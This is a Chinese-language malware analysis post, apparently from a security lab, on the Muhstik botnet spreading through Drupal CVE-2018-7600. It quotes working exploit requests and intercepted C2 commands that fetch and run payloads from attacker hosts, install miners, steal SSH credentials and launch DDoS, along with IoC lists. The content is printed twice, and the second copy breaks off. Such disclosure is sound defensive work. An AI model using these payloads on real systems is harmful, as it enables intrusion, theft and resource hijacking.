僵尸网络 Muhstik 正在积极利用 Drupal 漏洞 CVE-2018-7600 蠕虫式传播
<!--kg-card-begin: markdown--><p>2018年3月28日，Drupal.org 公布了漏洞 CVE-2018-7600 的修复方案。Drapal 是一个开源的内容管理系统，由PHP语言写成，有很多网站使用 Drupal 向外提供网页服务。本次漏洞存在于 Drupal 的多个版本中，攻击者可以利用该漏洞完全控制网站。</p>
<p>从2018年4月13日开始，360网络安全研究院观测到互联网上有大量针对该漏洞的扫描。通过分析，我们认为有至少3组恶意软件在利用该漏洞传播。其中一组恶意软件有蠕虫传播行为，感染量显著比其他的恶意软件更多。分析后，我们认为这是一个长期存在的僵尸网络家族。我们将其命名为 muhstik，这主要是因为其二进制文件名和通信协议中多处包含了这个字符串。</p>
<p>我们认为 muhstik 有以下特点值得社区关注：</p>
<ul>
<li>蠕虫式传播</li>
<li>长期存在</li>
<li>使用的漏洞利用数目众多</li>
<li>混合使用了多种牟利方式</li>
</ul>
<h4 id="">攻击载荷</h4>
<p>按照时间顺序，Muhstik使用了下面两组攻击载荷，这两组载荷占据了全部看到的载荷的80%左右，是我们看到的攻击的主要部分：</p>
<ul>
<li>活跃时间：2018-04-14 03:33:06~ 2018-04-17 15:40:58</li>
<li>活跃时间：2018-04-16 19:38:39~至今</li>
</ul>
<p>对应的攻击来源，其 IP 地址非常分散，而且基本都运行着 Drupal 程序。攻击来源自身是攻击载荷的易感染目标，这是蠕虫式传播的重要指标，引起了我们的警觉。</p>
<p>两组攻击载荷的详细信息如下：</p>
<pre><code>POST
/user/register?element_parents=account/mail/%23value&amp;ajax_form=1&amp;_wrapper_format=drupal_ajax HTTP/1.1
Cache-Control: no-cache
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Host: {target}
Content-Type: application/x-www-form-urlencoded
Content-length: 2048
form_id=user_register_form&amp;_drupal_ajax=1&amp;mail[#post_render[]=exec&amp;mail[#type]=markup&amp;mail[#markup]=echo &quot;team6 representing 73de29021fd0d8d2cfd204d2d955a46d&quot;|tee t6nv
</code></pre>
<pre><code>POST
/user/register?element_parents=account/mail/%23value&amp;ajax_form=1&amp;_wrapper_format=drupal_ajax HTTP/1.1
Cache-Control: no-cache
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Host: {target}
Content-Type: application/x-www-form-urlencoded
Content-length: 170
form_id=user_register_form&amp;_drupal_ajax=1&amp;mail%5B%23post_render%5D%5B%5D=exec&amp;mail%5B%23type%5D=markup&amp;mail%5B%23markup%5D=wget%20http%3A%2F%2F51.254.219.134%2Fdrupal.php
</code></pre>
<h4 id="aiox862">样本 aiox86 导致了上述攻击载荷 #2</h4>
<p>有以下关键样本</p>
<pre><code>da17dc1438bb039968a5737c6fbc88cd aiox86
</code></pre>
<p>我们认为上述样本 aiox86 及其相关样本产生了前述攻击载荷：</p>
<ul>
<li>攻击载荷，存在于该样本中</li>
<li>攻击载荷与 #2 非常相似，我们认为应该是该样本的相关样本产生</li>
</ul>
<p>下图是样本脱壳后的部分片段，与 #2 攻击载荷完全一致。<br>
<img src="__GHOST_URL__/content/images/2018/04/drupal-payload-inside-aiox86.png" alt="" loading="lazy"></p>
<p>事实上，该样本的扫描行为已经比较复杂，远不止前述针对 drupal 漏洞的扫描：</p>
<ul>
<li>扫描目标IP地址：会从远端服务器 191.238.234.227 获取目标IP地址，这样攻击者可以对攻击目标有较为灵活的控制；</li>
<li>投递漏洞载荷：不仅限于 Drupal，还包括另外 6 种漏洞载荷；</li>
<li>扫描目标端口：不仅限于 TCP 80，还包括TCP端口 8080, 7001, 2004；每个端口上会尝试若干不同载荷；</li>
<li>扫描结果上报：载荷植入成功后，会访问远端服务器 51.254.219.134 上报，不同载荷访问不同的URL。通过这种方式，攻击者可以很轻易的识别受害者的弱点。</li>
</ul>
<p>获取扫描目标IP地址：</p>
<pre><code>hxxp://191.238.234.227/amazon.php     #我们尝试从这个URL上获得了50个网段，均属于Amazon所有
hxxp://191.238.234.227/dedi.php       #我们尝试从这个URL上获得了50个网段，所属公司较为分散
</code></pre>
<p>所投递的漏洞载荷：</p>
<pre><code>ClipBucket：rss.php
DasanNetwork Solution：/cgi-bin/index.cgi
Drupal:CVE-2018-7600
WebDav
Weblogic:CVE-2017-10271
Webuzo:install.php
Wordpress:install.php
</code></pre>
<p>扫描目标端口与载荷的对应关系：</p>
<pre><code>80：Weblogic，Wordpress，Drupal，WebDav，ClipBucket
2004：Webuzo
7001：Weblogic
8080：Wordpress，WebDav，DasanNetwork Solution
</code></pre>
<p>载荷上报信息接口：</p>
<pre><code>hxxp://51.254.219.134/clipbucket.php	#ClipBucket
hxxp://51.254.219.134/dasan.php	#DasanNetwork_Solution
hxxp://51.254.219.134/dav.php	#Webdav
hxxp://51.254.219.134/drupal.php	#Drupal
hxxp://51.254.219.134/oracleaudit.php?port=	#Weblogic
hxxp://51.254.219.134/tomato.php	#http401，用作探测中间状态
hxxp://51.254.219.134/webuzo.php	#Webuzo
hxxp://51.254.219.134/wp.php	#Wordpress
</code></pre>
<h4 id="aiox86muhstik">样本aiox86 是由 Muhstik 僵尸网络分发的</h4>
<p>在 360网络安全研究院，我们持续的监控诸多僵尸网络的攻击指令。本次我们发现，139.99.101.96:9090 控制服务器，在2018-04-19 04:04附近，通过下述指令分发了样本 aiox86：</p>
<p><img src="__GHOST_URL__/content/images/2018/04/aiox86-released-by-139.99.101.96-a-muhstik-c2.png" alt="" loading="lazy"></p>
<p>上述C2，隶属于 Muhstik 僵尸网络家族。</p>
<h4 id="muhstik">Muhstik 僵尸网络家族</h4>
<p>Muhstik 是 Tsunami 僵尸网络的一个变种，其特点包括：</p>
<ul>
<li>代表样本： c37016e34304ff4a2a0db1894cdcdb92</li>
<li>C2服务器： 域名/IP地址共计11个，见后，端口均为 9090。我们猜测这是为了负载均衡</li>
<li>通信协议： 基于IRC服务协议，通过不同的Channel发送不同指令</li>
<li>IRC Channel：我们观察到有多个IRC Channel，均以 muhstik 开头。目前我们并不完全确认每个C2服务器上具体开通了哪些Channle，这是由IRC协议本身的特性决定的，仅在我们接收到对应Channel里的通信指令时，才能确认攻击者在该服务器上开通了该Channel</li>
</ul>
<p>Muhstik 僵尸网络的结构已经比较复杂了，如前所述，样本中硬编码了11个C2域名/IP。除此之外，其传播和获利方式也多种多样。</p>
<p>Muhstik 的传播模块：</p>
<ul>
<li>aioscan扫描模块：如前所述，该扫描模块里包含了4个端口上6种扫描载荷</li>
<li>SSH扫描模块：弱口令扫描</li>
</ul>
<p>Muhstik 的获利方式：</p>
<ul>
<li>xmrig 挖矿：挖取XMR数字代币，对应的矿池地址是147.135.208.145:4871，自建矿池。</li>
<li>cgminer挖矿：挖取BTC数字代币，使用了多个矿池，用户名均为reb0rn.D3</li>
<li>DDoS 攻击：我们在2018-04-19 当天 07:20~07:40期间，截获多条针对 46.243.189.102 的攻击指令。（在我们的DDoSMon.net没有看到这次攻击，但是看到了较早前针对该IP地址的多次攻击）</li>
</ul>
<p>Muhstik cgminer 钱包和矿池地址：</p>
<pre><code>  {
    &quot;url&quot;: &quot;stratum+tcp://dash.viabtc.com:443&quot;,
    &quot;user&quot;: &quot;reb0rn.D3&quot;,
    &quot;pass&quot;: &quot;x&quot;
  },
  {
    &quot;url&quot;: &quot;stratum+tcp://dash.viabtc.com:443&quot;,
    &quot;user&quot;: &quot;reb0rn.D3&quot;,
    &quot;pass&quot;: &quot;x&quot;
  },
  {
    &quot;url&quot;: &quot;stratum+tcp://dash.viabtc.com:443&quot;,
    &quot;user&quot;: &quot;reb0rn.D3&quot;,
    &quot;pass&quot;: &quot;x&quot;
  }
</code></pre>
<p>Muhstik  C2 列表，按照其在样本中硬编码的顺序：</p>
<pre><code>139.99.101.96:9090	AS16276 OVH SAS	
144.217.84.99:9090	AS16276 OVH SAS	
145.239.84.0:9090	AS16276 OVH SAS	
147.135.210.184:9090	AS16276 OVH SAS	
142.44.163.168:9090	AS16276 OVH SAS	
192.99.71.250:9090	AS16276 OVH SAS	
142.44.240.14:9090	AS16276 OVH SAS	
121.128.171.44:9090	AS4766 Korea Telecom	#当前未生效  
66.70.190.236:9090	AS16276 OVH SAS	#当前未生效  
145.239.93.125:9090	AS16276 OVH SAS	
irc.de-zahlung.eu:9090		#当前未生效  
</code></pre>
<p>IRC Channel，字母序：</p>
<pre><code>#muhstik
#muhstik-i586
#muhstik-SSH
#muhstik-x86
</code></pre>
<p>我们监听这些 IRC Channel时获取到若干指令，部分指令如下，截图依次见后：</p>
<pre><code>#muhstik-x86  #植入xmrig64挖矿程序；
#muhstik-x86  #植入Muhstik.aioscan扫描模块
#muhstik-x86  #探测bot是否有drupal存在
#muhstik      #植入Muhstik.aioscan扫描模块
#muhstik      #发出DDoS攻击指令；
#muhstik-SSH  #cgminer 挖矿程序的配置文件；
#muhstik-SSH  #执行SSH扫描
#muhstik-SSH  #窃取本地保存的ssh凭证，进一步横向扩展，投递自身，实现蠕虫式传播
#muhstik-i586 #植入 Muhstik.aioscan
#muhstik-i586 #植入xmrig32挖矿程序
</code></pre>
<p>#muhstik-x86 #植入xmrig64挖矿程序</p>
<pre><code>:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH curl http://104.236.26.43/muhstik.sh | sh &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH wget -qO - http://104.236.26.43/muhstik.sh | sh &gt; /dev/null 2&gt;&amp;1 &amp; 
</code></pre>
<p>#muhstik-x86 #植入Muhstik.aioscan扫描模块</p>
<pre><code>:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH (wget -c http://191.238.234.227/x/aiox86 -O /tmp/aiox86 ; chmod +x /tmp/aiox86) &gt; /dev/null 2&gt;&amp;1 :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 amazon &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 dedi &gt; /dev/null 2&gt;&amp;1 &amp;
</code></pre>
<p>#muhstik-x86 #探测bot是否有drupal存在</p>
<pre><code>:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php &amp;&amp; echo $(hostname -I | cut -d&quot; &quot; -f 1))
:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php &amp;&amp; echo $(hostname -I | cut -d&quot; &quot; -f 1)) || echo &quot;No drupal&quot;
:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php | grep 17 &amp;&amp; echo $(hostname -I | cut -d&quot; &quot; -f 1))
:m!m@null PRIVMSG #muhstik-x86 :(wc -l autoload.php &amp;&amp; echo $(hostname -I | cut -d&quot; &quot; -f 1)) || echo &quot;No drupal&quot;
</code></pre>
<p>#muhstik #植入Muhstik.aioscan扫描模块</p>
<pre><code>:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm amazon &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm dedi &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH (wget -c http://191.238.234.227/x/aioarm -O /tmp/aioarm ; chmod +x /tmp/aioarm) &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel amazon &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel dedi &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH (wget -c http://191.238.234.227/x/aiomipsel -O /tmp/aiomipsel ; chmod +x /tmp/aiomipsel) &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips amazon &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips dedi &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH (wget -c http://191.238.234.227/x/aiomips -O /tmp/aiomips ; chmod +x /tmp/aiomips) &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc amazon &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc dedi &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH (wget -c http://191.238.234.227/x/aioppc -O /tmp/aioppc ; chmod +x /tmp/aioppc) &gt; /dev/null 2&gt;&amp;1 &amp;
</code></pre>
<p>#muhstik #发出DDoS攻击指令；</p>
<pre><code>:m!m@null PRIVMSG #muhstik :!* STD 46.243.189.102 127 60 XXXXXXXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*0|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*1|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*2|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*3|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*4|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*5|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*6|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*7|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*8|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*9|* STD 46.243.189.102 127 30 XXXX
</code></pre>
<p>#muhstik-SSH #cgminer 挖矿程序的配置文件</p>
<pre><code>:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep D3 &amp;&amp; ( wget -qO - http://51.254.221.129/cgminer.x11.conf &gt; /config/cgminer.conf &amp;&amp; /etc/init.d/cgminer.sh restart ) &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep L3 &amp;&amp; ( wget -qO - http://51.254.221.129/cgminer.scrypt.conf &gt; /config/cgminer.conf &amp;&amp; /etc/init.d/cgminer.sh restart )&gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S4 &amp;&amp; (cgminer-api &quot;addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x&quot; &amp;&amp; cgminer-api &quot;switchpool|3&quot; ) &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S5 &amp;&amp; (cgminer-api &quot;addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x&quot; &amp;&amp; cgminer-api &quot;switchpool|3&quot; ) &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S7 &amp;&amp; ( wget -qO - http://51.254.221.129/cgminer.sha256.conf &gt; /config/cgminer.conf &amp;&amp; /etc/init.d/cgminer.sh restart) &gt; /dev/null 2&gt;&amp;1 &amp;
</code></pre>
<p>#muhstik-SSH #窃取本地保存的ssh凭证，进一步横向扩展，投递自身，实现蠕虫式传播</p>
<pre><code>:m!m@null PRIVMSG #muhstik-ssh :!* SH wget -qO - http://121.127.216.91/multiply/wp-content/plugins/all-in-one-wp-migration/t6ssh | sh &gt; /dev/null 2&gt;&amp;1 &amp;
</code></pre>
<p>#muhstik-SSH #执行SSH扫描</p>
<pre><code>:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 100 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 101 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 102 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 103 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 104 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 106 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 107 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 108 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 110 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 111 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 112 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 113 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 114 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 118 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 119 100 25 54.39.23.28 51.254.219.137
</code></pre>
<p>#muhstik-i586 #植入 Muhstik.aioscan</p>
<pre><code>:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH (wget -c http://191.238.234.227/x/aioi586 -O /tmp/aioi586 ; chmod +x /tmp/aioi586) &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 amazon &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 dedi &gt; /dev/null 2&gt;&amp;1 &amp;
</code></pre>
<p>#muhstik-i586 #植入xmrig32挖矿程序</p>
<pre><code>:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH wget -qO - http://104.236.26.43/xmrt32.sh | sh &gt; /dev/null 2&gt;&amp;1 &amp;
:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH curl http://104.236.26.43/xmrt32.sh | sh &gt; /dev/null 2&gt;&amp;1 &amp;
</code></pre>
<h4 id="muhstik">Muhstik 可能来源已久</h4>
<p>通过对 Muhstik 相关域名的历史溯源，我们发现 Muhstik 由来已久，跟以下域名有较为强烈的关联关系。</p>
<pre><code>dasan.deutschland-zahlung.eu
134.ip-51-254-219.eu
uranus.kei.su
wireless.kei.su
www.kei.su
y.fd6fq54s6df541q23sdxfg.eu
</code></pre>
<h4 id="ioc">IoC</h4>
<p>Muhstik C2 List</p>
<pre><code>139.99.101.96:9090	AS16276 OVH SAS	
144.217.84.99:9090	AS16276 OVH SAS	
145.239.84.0:9090	AS16276 OVH SAS	
147.135.210.184:9090	AS16276 OVH SAS	
142.44.163.168:9090	AS16276 OVH SAS	
192.99.71.250:9090	AS16276 OVH SAS	
142.44.240.14:9090	AS16276 OVH SAS	
121.128.171.44:9090	AS4766 Korea Telecom	#当前未生效  
66.70.190.236:9090	AS16276 OVH SAS	#当前未生效  
145.239.93.125:9090	AS16276 OVH SAS	
irc.de-zahlung.eu:9090		#当前未生效  
</code></pre>
<p>Muhstik Malware URL</p>
<pre><code>hxxp://51.254.221.129/c/cron
hxxp://51.254.221.129/c/tfti
hxxp://51.254.221.129/c/pftp
hxxp://51.254.221.129/c/ntpd
hxxp://51.254.221.129/c/sshd
hxxp://51.254.221.129/c/bash
hxxp://51.254.221.129/c/pty
hxxp://51.254.221.129/c/shy
hxxp://51.254.221.129/c/nsshtfti
hxxp://51.254.221.129/c/nsshcron
hxxp://51.254.221.129/c/nsshpftp
hxxp://51.254.221.129/c/fbsd
hxxp://191.238.234.227/x/aiox86
</code></pre>
<p>Muhstik Malware MD5</p>
<pre><code>c37016e34304ff4a2a0db1894cdcdb92     #Muhstik样本模块
da17dc1438bb039968a5737c6fbc88cd     #Muhstik扫描模块
</code></pre>
<!--kg-card-end: markdown-->
2018年3月28日，Drupal.org 公布了漏洞 CVE-2018-7600 的修复方案。Drapal 是一个开源的内容管理系统，由PHP语言写成，有很多网站使用 Drupal 向外提供网页服务。本次漏洞存在于 Drupal 的多个版本中，攻击者可以利用该漏洞完全控制网站。


从2018年4月13日开始，360网络安全研究院观测到互联网上有大量针对该漏洞的扫描。通过分析，我们认为有至少3组恶意软件在利用该漏洞传播。其中一组恶意软件有蠕虫传播行为，感染量显著比其他的恶意软件更多。分析后，我们认为这是一个长期存在的僵尸网络家族。我们将其命名为 muhstik，这主要是因为其二进制文件名和通信协议中多处包含了这个字符串。


我们认为 muhstik 有以下特点值得社区关注：


 * 蠕虫式传播
 * 长期存在
 * 使用的漏洞利用数目众多
 * 混合使用了多种牟利方式


攻击载荷


按照时间顺序，Muhstik使用了下面两组攻击载荷，这两组载荷占据了全部看到的载荷的80%左右，是我们看到的攻击的主要部分：


 * 活跃时间：2018-04-14 03:33:06~ 2018-04-17 15:40:58
 * 活跃时间：2018-04-16 19:38:39~至今


对应的攻击来源，其 IP 地址非常分散，而且基本都运行着 Drupal 程序。攻击来源自身是攻击载荷的易感染目标，这是蠕虫式传播的重要指标，引起了我们的警觉。


两组攻击载荷的详细信息如下：


POST
/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Cache-Control: no-cache
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Host: {target}
Content-Type: application/x-www-form-urlencoded
Content-length: 2048
form_id=user_register_form&_drupal_ajax=1&mail[#post_render[]=exec&mail[#type]=markup&mail[#markup]=echo "team6 representing 73de29021fd0d8d2cfd204d2d955a46d"|tee t6nv



POST
/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Cache-Control: no-cache
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Host: {target}
Content-Type: application/x-www-form-urlencoded
Content-length: 170
form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=wget%20http%3A%2F%2F51.254.219.134%2Fdrupal.php



样本 aiox86 导致了上述攻击载荷 #2


有以下关键样本


da17dc1438bb039968a5737c6fbc88cd aiox86



我们认为上述样本 aiox86 及其相关样本产生了前述攻击载荷：


 * 攻击载荷，存在于该样本中
 * 攻击载荷与 #2 非常相似，我们认为应该是该样本的相关样本产生


下图是样本脱壳后的部分片段，与 #2 攻击载荷完全一致。




事实上，该样本的扫描行为已经比较复杂，远不止前述针对 drupal 漏洞的扫描：


 * 扫描目标IP地址：会从远端服务器 191.238.234.227 获取目标IP地址，这样攻击者可以对攻击目标有较为灵活的控制；
 * 投递漏洞载荷：不仅限于 Drupal，还包括另外 6 种漏洞载荷；
 * 扫描目标端口：不仅限于 TCP 80，还包括TCP端口 8080, 7001, 2004；每个端口上会尝试若干不同载荷；
 * 扫描结果上报：载荷植入成功后，会访问远端服务器 51.254.219.134 上报，不同载荷访问不同的URL。通过这种方式，攻击者可以很轻易的识别受害者的弱点。


获取扫描目标IP地址：


hxxp://191.238.234.227/amazon.php     #我们尝试从这个URL上获得了50个网段，均属于Amazon所有
hxxp://191.238.234.227/dedi.php       #我们尝试从这个URL上获得了50个网段，所属公司较为分散



所投递的漏洞载荷：


ClipBucket：rss.php
DasanNetwork Solution：/cgi-bin/index.cgi
Drupal:CVE-2018-7600
WebDav
Weblogic:CVE-2017-10271
Webuzo:install.php
Wordpress:install.php



扫描目标端口与载荷的对应关系：


80：Weblogic，Wordpress，Drupal，WebDav，ClipBucket
2004：Webuzo
7001：Weblogic
8080：Wordpress，WebDav，DasanNetwork Solution



载荷上报信息接口：


hxxp://51.254.219.134/clipbucket.php	#ClipBucket
hxxp://51.254.219.134/dasan.php	#DasanNetwork_Solution
hxxp://51.254.219.134/dav.php	#Webdav
hxxp://51.254.219.134/drupal.php	#Drupal
hxxp://51.254.219.134/oracleaudit.php?port=	#Weblogic
hxxp://51.254.219.134/tomato.php	#http401，用作探测中间状态
hxxp://51.254.219.134/webuzo.php	#Webuzo
hxxp://51.254.219.134/wp.php	#Wordpress



样本aiox86 是由 Muhstik 僵尸网络分发的


在 360网络安全研究院，我们持续的监控诸多僵尸网络的攻击指令。本次我们发现，139.99.101.96:9090 控制服务器，在2018-04-19 04:04附近，通过下述指令分发了样本 aiox86：





上述C2，隶属于 Muhstik 僵尸网络家族。


Muhstik 僵尸网络家族


Muhstik 是 Tsunami 僵尸网络的一个变种，其特点包括：


 * 代表样本： c37016e34304ff4a2a0db1894cdcdb92
 * C2服务器： 域名/IP地址共计11个，见后，端口均为 9090。我们猜测这是为了负载均衡
 * 通信协议： 基于IRC服务协议，通过不同的Channel发送不同指令
 * IRC Channel：我们观察到有多个IRC Channel，均以 muhstik 开头。目前我们并不完全确认每个C2服务器上具体开通了哪些Channle，这是由IRC协议本身的特性决定的，仅在我们接收到对应Channel里的通信指令时，才能确认攻击者在该服务器上开通了该Channel


Muhstik 僵尸网络的结构已经比较复杂了，如前所述，样本中硬编码了11个C2域名/IP。除此之外，其传播和获利方式也多种多样。


Muhstik 的传播模块：


 * aioscan扫描模块：如前所述，该扫描模块里包含了4个端口上6种扫描载荷
 * SSH扫描模块：弱口令扫描


Muhstik 的获利方式：


 * xmrig 挖矿：挖取XMR数字代币，对应的矿池地址是147.135.208.145:4871，自建矿池。
 * cgminer挖矿：挖取BTC数字代币，使用了多个矿池，用户名均为reb0rn.D3
 * DDoS 攻击：我们在2018-04-19 当天 07:20~07:40期间，截获多条针对 46.243.189.102 的攻击指令。（在我们的DDoSMon.net没有看到这次攻击，但是看到了较早前针对该IP地址的多次攻击）


Muhstik cgminer 钱包和矿池地址：


  {
    "url": "stratum+tcp://dash.viabtc.com:443",
    "user": "reb0rn.D3",
    "pass": "x"
  },
  {
    "url": "stratum+tcp://dash.viabtc.com:443",
    "user": "reb0rn.D3",
    "pass": "x"
  },
  {
    "url": "stratum+tcp://dash.viabtc.com:443",
    "user": "reb0rn.D3",
    "pass": "x"
  }



Muhstik C2 列表，按照其在样本中硬编码的顺序：


139.99.101.96:9090	AS16276 OVH SAS	
144.217.84.99:9090	AS16276 OVH SAS	
145.239.84.0:9090	AS16276 OVH SAS	
147.135.210.184:9090	AS16276 OVH SAS	
142.44.163.168:9090	AS16276 OVH SAS	
192.99.71.250:9090	AS16276 OVH SAS	
142.44.240.14:9090	AS16276 OVH SAS	
121.128.171.44:9090	AS4766 Korea Telecom	#当前未生效  
66.70.190.236:9090	AS16276 OVH SAS	#当前未生效  
145.239.93.125:9090	AS16276 OVH SAS	
irc.de-zahlung.eu:9090		#当前未生效  



IRC Channel，字母序：


#muhstik
#muhstik-i586
#muhstik-SSH
#muhstik-x86



我们监听这些 IRC Channel时获取到若干指令，部分指令如下，截图依次见后：


#muhstik-x86  #植入xmrig64挖矿程序；
#muhstik-x86  #植入Muhstik.aioscan扫描模块
#muhstik-x86  #探测bot是否有drupal存在
#muhstik      #植入Muhstik.aioscan扫描模块
#muhstik      #发出DDoS攻击指令；
#muhstik-SSH  #cgminer 挖矿程序的配置文件；
#muhstik-SSH  #执行SSH扫描
#muhstik-SSH  #窃取本地保存的ssh凭证，进一步横向扩展，投递自身，实现蠕虫式传播
#muhstik-i586 #植入 Muhstik.aioscan
#muhstik-i586 #植入xmrig32挖矿程序



#muhstik-x86 #植入xmrig64挖矿程序


:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH curl http://104.236.26.43/muhstik.sh | sh > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH wget -qO - http://104.236.26.43/muhstik.sh | sh > /dev/null 2>&1 & 



#muhstik-x86 #植入Muhstik.aioscan扫描模块


:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH (wget -c http://191.238.234.227/x/aiox86 -O /tmp/aiox86 ; chmod +x /tmp/aiox86) > /dev/null 2>&1 :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 amazon > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 dedi > /dev/null 2>&1 &



#muhstik-x86 #探测bot是否有drupal存在


:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php && echo $(hostname -I | cut -d" " -f 1))
:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php && echo $(hostname -I | cut -d" " -f 1)) || echo "No drupal"
:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php | grep 17 && echo $(hostname -I | cut -d" " -f 1))
